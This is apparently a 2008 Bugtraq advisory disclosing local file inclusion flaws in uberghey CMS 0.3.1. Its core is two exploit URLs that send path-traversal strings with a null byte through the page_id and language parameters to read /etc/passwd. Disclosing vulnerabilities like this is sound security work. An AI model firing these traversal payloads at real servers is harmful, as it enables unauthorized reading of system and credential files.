uberghey cms 0.3.1 multiple local file inclusion vulnerabilities
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: uberghey cms 0.3.1 multiple local file inclusion vulnerabilities
- From: "muuratsalo experimental hack lab" <muuratsalo@xxxxxxxxx>
- Date: Wed, 12 Mar 2008 00:04:05 +0100
- Dkim-signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition; bh=zA/Dm3wFrrc9T1UzPjUMGV4TJ1IjkOOVFUFdUDcRMQM=; b=wRpjC1zAc1QzvnAk3lLITpRXgZJCJdsuE6rWnOl+qJYdvKrn7ZG3qf0ui5EdpQw7EUvnGAKruJp1cMSsS/4Oo8Ov6wOuqwtuuY/ODMEB2Sl5EK1ThRo9kdxFdxEvdvxiAO0CYJAmzo4yg+qz6+WmZvz8qSauzD2IK4cW0SHajpU=
- Domainkey-signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition; b=amCD74tJdJjL7oDHbwxve7ebcD1e6YLpUK57rs51Lc+g+qHQb6ica1ChFCPHpm5Q5ihE+x3c5Bj6nFXC6dzokwMv1YOCcvAy0M1Tjk67i8wpwf79m5JF56bxMbiAtfkcYgy+9qrIJhpG5fYU8Fq+SeMyZnuwAMkqzywmsUTMW8o=
- List-help: <mailto:bugtraq-help@securityfocus.com>
- List-id: <bugtraq.list-id.securityfocus.com>
- List-post: <mailto:bugtraq@securityfocus.com>
- List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
- List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
- Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm
uberghey cms 0.3.1 multiple local file inclusion vulnerabilities
download http://sourceforge.net/projects/uberghey/
author muuratsalo
contact muuratsalo[at]gmail.com
exploits
http://localhost/uberghey-0.3.1/index.php?page_id=../../../../../../../../../../etc/passwd%00
http://localhost/uberghey-0.3.1/index.php?language=../../../../../../../../../../etc/passwd%00